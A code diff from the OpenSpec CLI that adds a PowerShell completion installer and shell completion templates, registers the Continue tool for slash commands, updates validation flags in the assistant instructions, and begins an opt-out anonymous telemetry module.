|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,358 @@
|
||||
import { promises as fs } from 'fs';
|
||||
import path from 'path';
|
||||
import os from 'os';
|
||||
import { FileSystemUtils } from '../../../utils/file-system.js';
|
||||
import { InstallationResult } from '../factory.js';
|
||||
|
||||
/**
|
||||
* Installer for PowerShell completion scripts.
|
||||
* Works with both Windows PowerShell 5.1 and PowerShell Core 7+
|
||||
*/
|
||||
export class PowerShellInstaller {
|
||||
private readonly homeDir: string;
|
||||
|
||||
/**
|
||||
* Markers for PowerShell profile configuration management
|
||||
*/
|
||||
private readonly PROFILE_MARKERS = {
|
||||
start: '# OPENSPEC:START',
|
||||
end: '# OPENSPEC:END',
|
||||
};
|
||||
|
||||
constructor(homeDir: string = os.homedir()) {
|
||||
this.homeDir = homeDir;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get PowerShell profile path
|
||||
* Prefers $PROFILE environment variable, falls back to platform defaults
|
||||
*
|
||||
* @returns Profile path
|
||||
*/
|
||||
getProfilePath(): string {
|
||||
// Check $PROFILE environment variable (set when running in PowerShell)
|
||||
if (process.env.PROFILE) {
|
||||
return process.env.PROFILE;
|
||||
}
|
||||
|
||||
// Fall back to platform-specific defaults
|
||||
if (process.platform === 'win32') {
|
||||
// Windows: Documents/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
return path.join(this.homeDir, 'Documents', 'PowerShell', 'Microsoft.PowerShell_profile.ps1');
|
||||
} else {
|
||||
// macOS/Linux: .config/powershell/Microsoft.PowerShell_profile.ps1
|
||||
return path.join(this.homeDir, '.config', 'powershell', 'Microsoft.PowerShell_profile.ps1');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all PowerShell profile paths to configure.
|
||||
* On Windows, returns both PowerShell Core and Windows PowerShell 5.1 paths.
|
||||
* On Unix, returns PowerShell Core path only.
|
||||
*/
|
||||
private getAllProfilePaths(): string[] {
|
||||
// If PROFILE env var is set, use only that path
|
||||
if (process.env.PROFILE) {
|
||||
return [process.env.PROFILE];
|
||||
}
|
||||
|
||||
if (process.platform === 'win32') {
|
||||
return [
|
||||
// PowerShell Core 6+ (cross-platform)
|
||||
path.join(this.homeDir, 'Documents', 'PowerShell', 'Microsoft.PowerShell_profile.ps1'),
|
||||
// Windows PowerShell 5.1 (Windows-only)
|
||||
path.join(this.homeDir, 'Documents', 'WindowsPowerShell', 'Microsoft.PowerShell_profile.ps1'),
|
||||
];
|
||||
} else {
|
||||
// Unix systems: PowerShell Core only
|
||||
return [path.join(this.homeDir, '.config', 'powershell', 'Microsoft.PowerShell_profile.ps1')];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the installation path for the completion script
|
||||
*
|
||||
* @returns Installation path
|
||||
*/
|
||||
getInstallationPath(): string {
|
||||
const profilePath = this.getProfilePath();
|
||||
const profileDir = path.dirname(profilePath);
|
||||
return path.join(profileDir, 'OpenSpecCompletion.ps1');
|
||||
}
|
||||
|
||||
/**
|
||||
* Backup an existing completion file if it exists
|
||||
*
|
||||
* @param targetPath - Path to the file to backup
|
||||
* @returns Path to the backup file, or undefined if no backup was needed
|
||||
*/
|
||||
async backupExistingFile(targetPath: string): Promise<string | undefined> {
|
||||
try {
|
||||
await fs.access(targetPath);
|
||||
// File exists, create a backup
|
||||
const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
|
||||
const backupPath = `${targetPath}.backup-${timestamp}`;
|
||||
await fs.copyFile(targetPath, backupPath);
|
||||
return backupPath;
|
||||
} catch {
|
||||
// File doesn't exist, no backup needed
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate PowerShell profile configuration content
|
||||
*
|
||||
* @param scriptPath - Path to the completion script
|
||||
* @returns Configuration content
|
||||
*/
|
||||
private generateProfileConfig(scriptPath: string): string {
|
||||
return [
|
||||
'# OpenSpec shell completions configuration',
|
||||
`if (Test-Path "${scriptPath}") {`,
|
||||
` . "${scriptPath}"`,
|
||||
'}',
|
||||
].join('\n');
|
||||
}
|
||||
|
||||
/**
|
||||
* Configure PowerShell profile to source the completion script
|
||||
*
|
||||
* @param scriptPath - Path to the completion script
|
||||
* @returns true if configured successfully, false otherwise
|
||||
*/
|
||||
async configureProfile(scriptPath: string): Promise<boolean> {
|
||||
const profilePaths = this.getAllProfilePaths();
|
||||
let anyConfigured = false;
|
||||
|
||||
for (const profilePath of profilePaths) {
|
||||
try {
|
||||
// Create profile file if it doesn't exist
|
||||
const profileDir = path.dirname(profilePath);
|
||||
await fs.mkdir(profileDir, { recursive: true });
|
||||
|
||||
let profileContent = '';
|
||||
try {
|
||||
profileContent = await fs.readFile(profilePath, 'utf-8');
|
||||
} catch {
|
||||
// Profile doesn't exist yet, that's fine
|
||||
}
|
||||
|
||||
// Check if already configured
|
||||
const scriptLine = `. "${scriptPath}"`;
|
||||
if (profileContent.includes(scriptLine)) {
|
||||
continue; // Already configured, skip
|
||||
}
|
||||
|
||||
// Add OpenSpec completion configuration with markers
|
||||
const openspecBlock = [
|
||||
'',
|
||||
'# OPENSPEC:START - OpenSpec completion (managed block, do not edit manually)',
|
||||
scriptLine,
|
||||
'# OPENSPEC:END',
|
||||
'',
|
||||
].join('\n');
|
||||
|
||||
const newContent = profileContent + openspecBlock;
|
||||
await fs.writeFile(profilePath, newContent, 'utf-8');
|
||||
anyConfigured = true;
|
||||
} catch (error) {
|
||||
// Continue to next profile if this one fails
|
||||
console.warn(`Warning: Could not configure ${profilePath}: ${error}`);
|
||||
}
|
||||
}
|
||||
|
||||
return anyConfigured;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove PowerShell profile configuration
|
||||
* Used during uninstallation
|
||||
*
|
||||
* @returns true if removed successfully, false otherwise
|
||||
*/
|
||||
async removeProfileConfig(): Promise<boolean> {
|
||||
const profilePaths = this.getAllProfilePaths();
|
||||
let anyRemoved = false;
|
||||
|
||||
for (const profilePath of profilePaths) {
|
||||
try {
|
||||
// Read profile content
|
||||
let profileContent: string;
|
||||
try {
|
||||
profileContent = await fs.readFile(profilePath, 'utf-8');
|
||||
} catch {
|
||||
continue; // Profile doesn't exist, nothing to remove
|
||||
}
|
||||
|
||||
// Remove OPENSPEC:START -> OPENSPEC:END block
|
||||
const startMarker = '# OPENSPEC:START';
|
||||
const endMarker = '# OPENSPEC:END';
|
||||
const startIndex = profileContent.indexOf(startMarker);
|
||||
|
||||
if (startIndex === -1) {
|
||||
continue; // No OpenSpec block found
|
||||
}
|
||||
|
||||
const endIndex = profileContent.indexOf(endMarker, startIndex);
|
||||
if (endIndex === -1) {
|
||||
console.warn(`Warning: Found start marker but no end marker in ${profilePath}`);
|
||||
continue;
|
||||
}
|
||||
|
||||
// Remove the block (including markers and surrounding newlines)
|
||||
const beforeBlock = profileContent.substring(0, startIndex);
|
||||
const afterBlock = profileContent.substring(endIndex + endMarker.length);
|
||||
|
||||
// Clean up extra newlines
|
||||
const newContent = (beforeBlock.trimEnd() + '\n' + afterBlock.trimStart()).trim() + '\n';
|
||||
|
||||
await fs.writeFile(profilePath, newContent, 'utf-8');
|
||||
anyRemoved = true;
|
||||
} catch (error) {
|
||||
console.warn(`Warning: Could not clean ${profilePath}: ${error}`);
|
||||
}
|
||||
}
|
||||
|
||||
return anyRemoved;
|
||||
}
|
||||
|
||||
/**
|
||||
* Install the completion script
|
||||
*
|
||||
* @param completionScript - The completion script content to install
|
||||
* @returns Installation result with status and instructions
|
||||
*/
|
||||
async install(completionScript: string): Promise<InstallationResult> {
|
||||
try {
|
||||
const targetPath = this.getInstallationPath();
|
||||
|
||||
// Check if already installed with same content
|
||||
let isUpdate = false;
|
||||
try {
|
||||
const existingContent = await fs.readFile(targetPath, 'utf-8');
|
||||
if (existingContent === completionScript) {
|
||||
// Already installed and up to date
|
||||
return {
|
||||
success: true,
|
||||
installedPath: targetPath,
|
||||
message: 'Completion script is already installed (up to date)',
|
||||
instructions: [
|
||||
'The completion script is already installed and up to date.',
|
||||
'If completions are not working, try restarting PowerShell or run: . $PROFILE',
|
||||
],
|
||||
};
|
||||
}
|
||||
// File exists but content is different - this is an update
|
||||
isUpdate = true;
|
||||
} catch (error: any) {
|
||||
// File doesn't exist or can't be read, proceed with installation
|
||||
console.debug(`Unable to read existing completion file at ${targetPath}: ${error.message}`);
|
||||
}
|
||||
|
||||
// Ensure the directory exists
|
||||
const targetDir = path.dirname(targetPath);
|
||||
await fs.mkdir(targetDir, { recursive: true });
|
||||
|
||||
// Backup existing file if updating
|
||||
const backupPath = isUpdate ? await this.backupExistingFile(targetPath) : undefined;
|
||||
|
||||
// Write the completion script
|
||||
await fs.writeFile(targetPath, completionScript, 'utf-8');
|
||||
|
||||
// Auto-configure PowerShell profile
|
||||
const profileConfigured = await this.configureProfile(targetPath);
|
||||
|
||||
// Generate instructions if profile wasn't auto-configured
|
||||
const instructions = profileConfigured ? undefined : this.generateInstructions(targetPath);
|
||||
|
||||
// Determine appropriate message
|
||||
let message: string;
|
||||
if (isUpdate) {
|
||||
message = backupPath
|
||||
? 'Completion script updated successfully (previous version backed up)'
|
||||
: 'Completion script updated successfully';
|
||||
} else {
|
||||
message = profileConfigured
|
||||
? 'Completion script installed and PowerShell profile configured successfully'
|
||||
: 'Completion script installed successfully for PowerShell';
|
||||
}
|
||||
|
||||
return {
|
||||
success: true,
|
||||
installedPath: targetPath,
|
||||
backupPath,
|
||||
profileConfigured,
|
||||
message,
|
||||
instructions,
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
success: false,
|
||||
message: `Failed to install completion script: ${error instanceof Error ? error.message : String(error)}`,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate user instructions for enabling completions
|
||||
*
|
||||
* @param installedPath - Path where the script was installed
|
||||
* @returns Array of instruction strings
|
||||
*/
|
||||
private generateInstructions(installedPath: string): string[] {
|
||||
const profilePath = this.getProfilePath();
|
||||
|
||||
return [
|
||||
'Completion script installed successfully.',
|
||||
'',
|
||||
`To enable completions, add the following to your PowerShell profile (${profilePath}):`,
|
||||
'',
|
||||
' # Source OpenSpec completions',
|
||||
` if (Test-Path "${installedPath}") {`,
|
||||
` . "${installedPath}"`,
|
||||
' }',
|
||||
'',
|
||||
'Then restart PowerShell or run: . $PROFILE',
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Uninstall the completion script
|
||||
*
|
||||
* @param options - Optional uninstall options
|
||||
* @param options.yes - Skip confirmation prompt (handled by command layer)
|
||||
* @returns Uninstallation result
|
||||
*/
|
||||
async uninstall(options?: { yes?: boolean }): Promise<{ success: boolean; message: string }> {
|
||||
try {
|
||||
const targetPath = this.getInstallationPath();
|
||||
|
||||
// Check if installed
|
||||
try {
|
||||
await fs.access(targetPath);
|
||||
} catch {
|
||||
return {
|
||||
success: false,
|
||||
message: 'Completion script is not installed',
|
||||
};
|
||||
}
|
||||
|
||||
// Remove the completion script
|
||||
await fs.unlink(targetPath);
|
||||
|
||||
// Remove profile configuration
|
||||
await this.removeProfileConfig();
|
||||
|
||||
return {
|
||||
success: true,
|
||||
message: 'Completion script uninstalled successfully',
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
success: false,
|
||||
message: `Failed to uninstall completion script: ${error instanceof Error ? error.message : String(error)}`,
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -2,19 +2,7 @@ import { promises as fs } from 'fs';
|
||||
import path from 'path';
|
||||
import os from 'os';
|
||||
import { FileSystemUtils } from '../../../utils/file-system.js';
|
||||
|
||||
/**
|
||||
* Installation result information
|
||||
*/
|
||||
export interface InstallationResult {
|
||||
success: boolean;
|
||||
installedPath?: string;
|
||||
backupPath?: string;
|
||||
isOhMyZsh: boolean;
|
||||
zshrcConfigured?: boolean;
|
||||
message: string;
|
||||
instructions?: string[];
|
||||
}
|
||||
import { InstallationResult } from '../factory.js';
|
||||
|
||||
/**
|
||||
* Installer for Zsh completion scripts.
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
/**
|
||||
* Static template strings for Bash completion scripts.
|
||||
* These are Bash-specific helper functions that never change.
|
||||
*/
|
||||
|
||||
export const BASH_DYNAMIC_HELPERS = `# Dynamic completion helpers
|
||||
|
||||
_openspec_complete_changes() {
|
||||
local changes
|
||||
changes=$(openspec __complete changes 2>/dev/null | cut -f1)
|
||||
COMPREPLY=($(compgen -W "$changes" -- "$cur"))
|
||||
}
|
||||
|
||||
_openspec_complete_specs() {
|
||||
local specs
|
||||
specs=$(openspec __complete specs 2>/dev/null | cut -f1)
|
||||
COMPREPLY=($(compgen -W "$specs" -- "$cur"))
|
||||
}
|
||||
|
||||
_openspec_complete_items() {
|
||||
local items
|
||||
items=$(openspec __complete changes 2>/dev/null | cut -f1; openspec __complete specs 2>/dev/null | cut -f1)
|
||||
COMPREPLY=($(compgen -W "$items" -- "$cur"))
|
||||
}`;
|
||||
@@ -0,0 +1,40 @@
|
||||
/**
|
||||
* Static template strings for Fish completion scripts.
|
||||
* These are Fish-specific helper functions that never change.
|
||||
*/
|
||||
|
||||
export const FISH_STATIC_HELPERS = `# Helper function to check if a subcommand is present
|
||||
function __fish_openspec_using_subcommand
|
||||
set -l cmd (commandline -opc)
|
||||
set -e cmd[1]
|
||||
for i in $argv
|
||||
if contains -- $i $cmd
|
||||
return 0
|
||||
end
|
||||
end
|
||||
return 1
|
||||
end
|
||||
|
||||
function __fish_openspec_no_subcommand
|
||||
set -l cmd (commandline -opc)
|
||||
test (count $cmd) -eq 1
|
||||
end`;
|
||||
|
||||
export const FISH_DYNAMIC_HELPERS = `# Dynamic completion helpers
|
||||
|
||||
function __fish_openspec_changes
|
||||
openspec __complete changes 2>/dev/null | while read -l id desc
|
||||
printf '%s\\t%s\\n' "$id" "$desc"
|
||||
end
|
||||
end
|
||||
|
||||
function __fish_openspec_specs
|
||||
openspec __complete specs 2>/dev/null | while read -l id desc
|
||||
printf '%s\\t%s\\n' "$id" "$desc"
|
||||
end
|
||||
end
|
||||
|
||||
function __fish_openspec_items
|
||||
__fish_openspec_changes
|
||||
__fish_openspec_specs
|
||||
end`;
|
||||
@@ -0,0 +1,25 @@
|
||||
/**
|
||||
* Static template strings for PowerShell completion scripts.
|
||||
* These are PowerShell-specific helper functions that never change.
|
||||
*/
|
||||
|
||||
export const POWERSHELL_DYNAMIC_HELPERS = `# Dynamic completion helpers
|
||||
|
||||
function Get-OpenSpecChanges {
|
||||
$output = openspec __complete changes 2>$null
|
||||
if ($output) {
|
||||
$output | ForEach-Object {
|
||||
($_ -split "\\t")[0]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function Get-OpenSpecSpecs {
|
||||
$output = openspec __complete specs 2>$null
|
||||
if ($output) {
|
||||
$output | ForEach-Object {
|
||||
($_ -split "\\t")[0]
|
||||
}
|
||||
}
|
||||
}
|
||||
`;
|
||||
@@ -0,0 +1,36 @@
|
||||
/**
|
||||
* Static template strings for Zsh completion scripts.
|
||||
* These are Zsh-specific helper functions that never change.
|
||||
*/
|
||||
|
||||
export const ZSH_DYNAMIC_HELPERS = `# Dynamic completion helpers
|
||||
|
||||
# Use openspec __complete to get available changes
|
||||
_openspec_complete_changes() {
|
||||
local -a changes
|
||||
while IFS=$'\\t' read -r id desc; do
|
||||
changes+=("$id:$desc")
|
||||
done < <(openspec __complete changes 2>/dev/null)
|
||||
_describe "change" changes
|
||||
}
|
||||
|
||||
# Use openspec __complete to get available specs
|
||||
_openspec_complete_specs() {
|
||||
local -a specs
|
||||
while IFS=$'\\t' read -r id desc; do
|
||||
specs+=("$id:$desc")
|
||||
done < <(openspec __complete specs 2>/dev/null)
|
||||
_describe "spec" specs
|
||||
}
|
||||
|
||||
# Get both changes and specs
|
||||
_openspec_complete_items() {
|
||||
local -a items
|
||||
while IFS=$'\\t' read -r id desc; do
|
||||
items+=("$id:$desc")
|
||||
done < <(openspec __complete changes 2>/dev/null)
|
||||
while IFS=$'\\t' read -r id desc; do
|
||||
items+=("$id:$desc")
|
||||
done < <(openspec __complete specs 2>/dev/null)
|
||||
_describe "item" items
|
||||
}`;
|
||||
@@ -24,6 +24,7 @@ export const AI_TOOLS: AIToolOption[] = [
|
||||
{ name: 'Cline', value: 'cline', available: true, successLabel: 'Cline' },
|
||||
{ name: 'Codex', value: 'codex', available: true, successLabel: 'Codex' },
|
||||
{ name: 'CodeBuddy Code (CLI)', value: 'codebuddy', available: true, successLabel: 'CodeBuddy Code' },
|
||||
{ name: 'Continue', value: 'continue', available: true, successLabel: 'Continue (VS Code / JetBrains / Cli)' },
|
||||
{ name: 'CoStrict', value: 'costrict', available: true, successLabel: 'CoStrict' },
|
||||
{ name: 'Crush', value: 'crush', available: true, successLabel: 'Crush' },
|
||||
{ name: 'Cursor', value: 'cursor', available: true, successLabel: 'Cursor' },
|
||||
|
||||
@@ -10,21 +10,18 @@ const FILE_PATHS: Record<SlashCommandId, string> = {
|
||||
const FRONTMATTER: Record<SlashCommandId, string> = {
|
||||
proposal: `---
|
||||
name: OpenSpec: Proposal
|
||||
description: Scaffold a new OpenSpec change and validate strictly.
|
||||
category: OpenSpec
|
||||
tags: [openspec, change]
|
||||
description: "Scaffold a new OpenSpec change and validate strictly."
|
||||
argument-hint: "[feature description or request]"
|
||||
---`,
|
||||
apply: `---
|
||||
name: OpenSpec: Apply
|
||||
description: Implement an approved OpenSpec change and keep tasks in sync.
|
||||
category: OpenSpec
|
||||
tags: [openspec, apply]
|
||||
description: "Implement an approved OpenSpec change and keep tasks in sync."
|
||||
argument-hint: "[change-id]"
|
||||
---`,
|
||||
archive: `---
|
||||
name: OpenSpec: Archive
|
||||
description: Archive a deployed OpenSpec change and update specs.
|
||||
category: OpenSpec
|
||||
tags: [openspec, archive]
|
||||
description: "Archive a deployed OpenSpec change and update specs."
|
||||
argument-hint: "[change-id]"
|
||||
---`
|
||||
};
|
||||
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
import { SlashCommandConfigurator } from './base.js';
|
||||
import { SlashCommandId } from '../../templates/index.js';
|
||||
|
||||
const FILE_PATHS: Record<SlashCommandId, string> = {
|
||||
proposal: '.continue/prompts/openspec-proposal.prompt',
|
||||
apply: '.continue/prompts/openspec-apply.prompt',
|
||||
archive: '.continue/prompts/openspec-archive.prompt'
|
||||
};
|
||||
|
||||
/*
|
||||
* Continue .prompt format requires YAML frontmatter:
|
||||
* ---
|
||||
* name: commandName
|
||||
* description: description
|
||||
* invokable: true
|
||||
* ---
|
||||
* Body...
|
||||
*
|
||||
* The 'invokable: true' field is required to make the prompt available as a slash command.
|
||||
* We use 'openspec-proposal' as the name so the command becomes /openspec-proposal.
|
||||
*/
|
||||
const FRONTMATTER: Record<SlashCommandId, string> = {
|
||||
proposal: `---
|
||||
name: openspec-proposal
|
||||
description: Scaffold a new OpenSpec change and validate strictly.
|
||||
invokable: true
|
||||
---`,
|
||||
apply: `---
|
||||
name: openspec-apply
|
||||
description: Implement an approved OpenSpec change and keep tasks in sync.
|
||||
invokable: true
|
||||
---`,
|
||||
archive: `---
|
||||
name: openspec-archive
|
||||
description: Archive a deployed OpenSpec change and update specs.
|
||||
invokable: true
|
||||
---`
|
||||
};
|
||||
|
||||
export class ContinueSlashCommandConfigurator extends SlashCommandConfigurator {
|
||||
readonly toolId = 'continue';
|
||||
readonly isAvailable = true;
|
||||
|
||||
protected getRelativePath(id: SlashCommandId): string {
|
||||
return FILE_PATHS[id];
|
||||
}
|
||||
|
||||
protected getFrontmatter(id: SlashCommandId): string {
|
||||
return FRONTMATTER[id];
|
||||
}
|
||||
}
|
||||
@@ -19,6 +19,7 @@ import { QwenSlashCommandConfigurator } from './qwen.js';
|
||||
import { RooCodeSlashCommandConfigurator } from './roocode.js';
|
||||
import { AntigravitySlashCommandConfigurator } from './antigravity.js';
|
||||
import { IflowSlashCommandConfigurator } from './iflow.js';
|
||||
import { ContinueSlashCommandConfigurator } from './continue.js';
|
||||
|
||||
export class SlashCommandRegistry {
|
||||
private static configurators: Map<string, SlashCommandConfigurator> = new Map();
|
||||
@@ -44,6 +45,7 @@ export class SlashCommandRegistry {
|
||||
const roocode = new RooCodeSlashCommandConfigurator();
|
||||
const antigravity = new AntigravitySlashCommandConfigurator();
|
||||
const iflow = new IflowSlashCommandConfigurator();
|
||||
const continueTool = new ContinueSlashCommandConfigurator();
|
||||
|
||||
this.configurators.set(claude.toolId, claude);
|
||||
this.configurators.set(codeBuddy.toolId, codeBuddy);
|
||||
@@ -65,6 +67,7 @@ export class SlashCommandRegistry {
|
||||
this.configurators.set(roocode.toolId, roocode);
|
||||
this.configurators.set(antigravity.toolId, antigravity);
|
||||
this.configurators.set(iflow.toolId, iflow);
|
||||
this.configurators.set(continueTool.toolId, continueTool);
|
||||
}
|
||||
|
||||
static register(configurator: SlashCommandConfigurator): void {
|
||||
|
||||
@@ -9,7 +9,7 @@ Instructions for AI coding assistants using OpenSpec for spec-driven development
|
||||
- Pick a unique \`change-id\`: kebab-case, verb-led (\`add-\`, \`update-\`, \`remove-\`, \`refactor-\`)
|
||||
- Scaffold: \`proposal.md\`, \`tasks.md\`, \`design.md\` (only if needed), and delta specs per affected capability
|
||||
- Write deltas: use \`## ADDED|MODIFIED|REMOVED|RENAMED Requirements\`; include at least one \`#### Scenario:\` per requirement
|
||||
- Validate: \`openspec validate [change-id] --strict\` and fix issues
|
||||
- Validate: \`openspec validate [change-id] --strict --no-interactive\` and fix issues
|
||||
- Request approval: Do not start implementation until proposal is approved
|
||||
|
||||
## Three-Stage Workflow
|
||||
@@ -44,7 +44,7 @@ Skip proposal for:
|
||||
1. Review \`openspec/project.md\`, \`openspec list\`, and \`openspec list --specs\` to understand current context.
|
||||
2. Choose a unique verb-led \`change-id\` and scaffold \`proposal.md\`, \`tasks.md\`, optional \`design.md\`, and spec deltas under \`openspec/changes/<id>/\`.
|
||||
3. Draft spec deltas using \`## ADDED|MODIFIED|REMOVED Requirements\` with at least one \`#### Scenario:\` per requirement.
|
||||
4. Run \`openspec validate <id> --strict\` and resolve any issues before sharing the proposal.
|
||||
4. Run \`openspec validate <id> --strict --no-interactive\` and resolve any issues before sharing the proposal.
|
||||
|
||||
### Stage 2: Implementing Changes
|
||||
Track these steps as TODOs and complete them one by one.
|
||||
@@ -61,7 +61,7 @@ After deployment, create separate PR to:
|
||||
- Move \`changes/[name]/\` → \`changes/archive/YYYY-MM-DD-[name]/\`
|
||||
- Update \`specs/\` if capabilities changed
|
||||
- Use \`openspec archive <change-id> --skip-specs --yes\` for tooling-only changes (always pass the change ID explicitly)
|
||||
- Run \`openspec validate --strict\` to confirm the archived change passes checks
|
||||
- Run \`openspec validate --strict --no-interactive\` to confirm the archived change passes checks
|
||||
|
||||
## Before Any Task
|
||||
|
||||
@@ -108,7 +108,7 @@ openspec validate # Bulk validation mode
|
||||
|
||||
# Debugging
|
||||
openspec show [change] --json --deltas-only
|
||||
openspec validate [change] --strict
|
||||
openspec validate [change] --strict --no-interactive
|
||||
\`\`\`
|
||||
|
||||
### Command Flags
|
||||
@@ -306,7 +306,7 @@ Example for RENAMED:
|
||||
|
||||
\`\`\`bash
|
||||
# Always use strict mode for comprehensive checks
|
||||
openspec validate [change] --strict
|
||||
openspec validate [change] --strict --no-interactive
|
||||
|
||||
# Debug delta parsing
|
||||
openspec show [change] --json | jq '.deltas'
|
||||
@@ -343,7 +343,7 @@ Users MUST provide a second factor during login.
|
||||
EOF
|
||||
|
||||
# 4) Validate
|
||||
openspec validate $CHANGE --strict
|
||||
openspec validate $CHANGE --strict --no-interactive
|
||||
\`\`\`
|
||||
|
||||
## Multi-Capability Example
|
||||
@@ -449,7 +449,7 @@ Only add complexity with:
|
||||
\`\`\`bash
|
||||
openspec list # What's in progress?
|
||||
openspec show [item] # View details
|
||||
openspec validate --strict # Is it correct?
|
||||
openspec validate --strict --no-interactive # Is it correct?
|
||||
openspec archive <change-id> [--yes|-y] # Mark complete (add --yes for automation)
|
||||
\`\`\`
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -15,7 +15,7 @@ const proposalSteps = `**Steps**
|
||||
4. Capture architectural reasoning in \`design.md\` when the solution spans multiple systems, introduces new patterns, or demands trade-off discussion before committing to specs.
|
||||
5. Draft spec deltas in \`changes/<id>/specs/<capability>/spec.md\` (one folder per capability) using \`## ADDED|MODIFIED|REMOVED Requirements\` with at least one \`#### Scenario:\` per requirement and cross-reference related capabilities when relevant.
|
||||
6. Draft \`tasks.md\` as an ordered list of small, verifiable work items that deliver user-visible progress, include validation (tests, tooling), and highlight dependencies or parallelizable work.
|
||||
7. Validate with \`openspec validate <id> --strict\` and resolve every issue before sharing the proposal.`;
|
||||
7. Validate with \`openspec validate <id> --strict --no-interactive\` and resolve every issue before sharing the proposal.`;
|
||||
|
||||
|
||||
const proposalReferences = `**Reference**
|
||||
@@ -43,7 +43,7 @@ const archiveSteps = `**Steps**
|
||||
2. Validate the change ID by running \`openspec list\` (or \`openspec show <id>\`) and stop if the change is missing, already archived, or otherwise not ready to archive.
|
||||
3. Run \`openspec archive <id> --yes\` so the CLI moves the change and applies spec updates without prompts (use \`--skip-specs\` only for tooling-only work).
|
||||
4. Review the command output to confirm the target specs were updated and the change landed in \`changes/archive/\`.
|
||||
5. Validate with \`openspec validate --strict\` and inspect with \`openspec show <id>\` if anything looks off.`;
|
||||
5. Validate with \`openspec validate --strict --no-interactive\` and inspect with \`openspec show <id>\` if anything looks off.`;
|
||||
|
||||
const archiveReferences = `**Reference**
|
||||
- Use \`openspec list\` to confirm change IDs before archiving.
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
/**
|
||||
* Global configuration for telemetry state.
|
||||
* Stores anonymous ID and notice-seen flag in ~/.config/openspec/config.json
|
||||
*/
|
||||
import { promises as fs } from 'fs';
|
||||
import path from 'path';
|
||||
import os from 'os';
|
||||
|
||||
export interface TelemetryConfig {
|
||||
anonymousId?: string;
|
||||
noticeSeen?: boolean;
|
||||
}
|
||||
|
||||
export interface GlobalConfig {
|
||||
telemetry?: TelemetryConfig;
|
||||
[key: string]: unknown; // Preserve other fields
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the path to the global config file.
|
||||
* Uses ~/.config/openspec/config.json on all platforms.
|
||||
*/
|
||||
export function getConfigPath(): string {
|
||||
const configDir = path.join(os.homedir(), '.config', 'openspec');
|
||||
return path.join(configDir, 'config.json');
|
||||
}
|
||||
|
||||
/**
|
||||
* Read the global config file.
|
||||
* Returns an empty object if the file doesn't exist.
|
||||
*/
|
||||
export async function readConfig(): Promise<GlobalConfig> {
|
||||
const configPath = getConfigPath();
|
||||
try {
|
||||
const content = await fs.readFile(configPath, 'utf-8');
|
||||
return JSON.parse(content) as GlobalConfig;
|
||||
} catch (error: unknown) {
|
||||
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
|
||||
return {};
|
||||
}
|
||||
// If parse fails or other error, return empty config
|
||||
return {};
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Write to the global config file.
|
||||
* Preserves existing fields and merges in new values.
|
||||
*/
|
||||
export async function writeConfig(updates: Partial<GlobalConfig>): Promise<void> {
|
||||
const configPath = getConfigPath();
|
||||
const configDir = path.dirname(configPath);
|
||||
|
||||
// Ensure directory exists
|
||||
await fs.mkdir(configDir, { recursive: true });
|
||||
|
||||
// Read existing config and merge
|
||||
const existing = await readConfig();
|
||||
const merged = { ...existing, ...updates };
|
||||
|
||||
// Deep merge for telemetry object
|
||||
if (updates.telemetry && existing.telemetry) {
|
||||
merged.telemetry = { ...existing.telemetry, ...updates.telemetry };
|
||||
}
|
||||
|
||||
await fs.writeFile(configPath, JSON.stringify(merged, null, 2) + '\n');
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the telemetry config section.
|
||||
*/
|
||||
export async function getTelemetryConfig(): Promise<TelemetryConfig> {
|
||||
const config = await readConfig();
|
||||
return config.telemetry ?? {};
|
||||
}
|
||||
|
||||
/**
|
||||
* Update the telemetry config section.
|
||||
*/
|
||||
export async function updateTelemetryConfig(updates: Partial<TelemetryConfig>): Promise<void> {
|
||||
const existing = await getTelemetryConfig();
|
||||
await writeConfig({
|
||||
telemetry: { ...existing, ...updates },
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,161 @@
|
||||
/**
|
||||
* Telemetry module for anonymous usage analytics.
|
||||
*
|
||||
* Privacy-first design:
|
||||
* - Only tracks command name and version
|
||||
* - No arguments, file paths, or content
|
||||
* - Opt-out via OPENSPEC_TELEMETRY=0 or DO_NOT_TRACK=1
|
||||
* - Auto-disabled in CI environments
|
||||
* - Anonymous ID is a random UUID with no relation to the user
|
||||
*/
|
||||
import { PostHog } from 'posthog-node';
|
||||
import { randomUUID } from 'crypto';
|
||||
import { getTelemetryConfig, updateTelemetryConfig } from './config.js';
|
||||
|
||||
// PostHog API key - public key for client-side analytics
|
||||
// This is safe to embed as it only allows sending events, not reading data
|
||||
const POSTHOG_API_KEY = 'phc_Hthu8YvaIJ9QaFKyTG4TbVwkbd5ktcAFzVTKeMmoW2g';
|
||||
// Using reverse proxy to avoid ad blockers and keep traffic on our domain
|
||||
const POSTHOG_HOST = 'https://edge.openspec.dev';
|
||||
|
||||
let posthogClient: PostHog | null = null;
|
||||
let anonymousId: string | null = null;
|
||||
|
||||
/**
|
||||
* Check if telemetry is enabled.
|
||||
*
|
||||
* Disabled when:
|
||||
* - OPENSPEC_TELEMETRY=0
|
||||
* - DO_NOT_TRACK=1
|
||||
* - CI=true (any CI environment)
|
||||
*/
|
||||
export function isTelemetryEnabled(): boolean {
|
||||
// Check explicit opt-out
|
||||
if (process.env.OPENSPEC_TELEMETRY === '0') {
|
||||
return false;
|
||||
}
|
||||
|
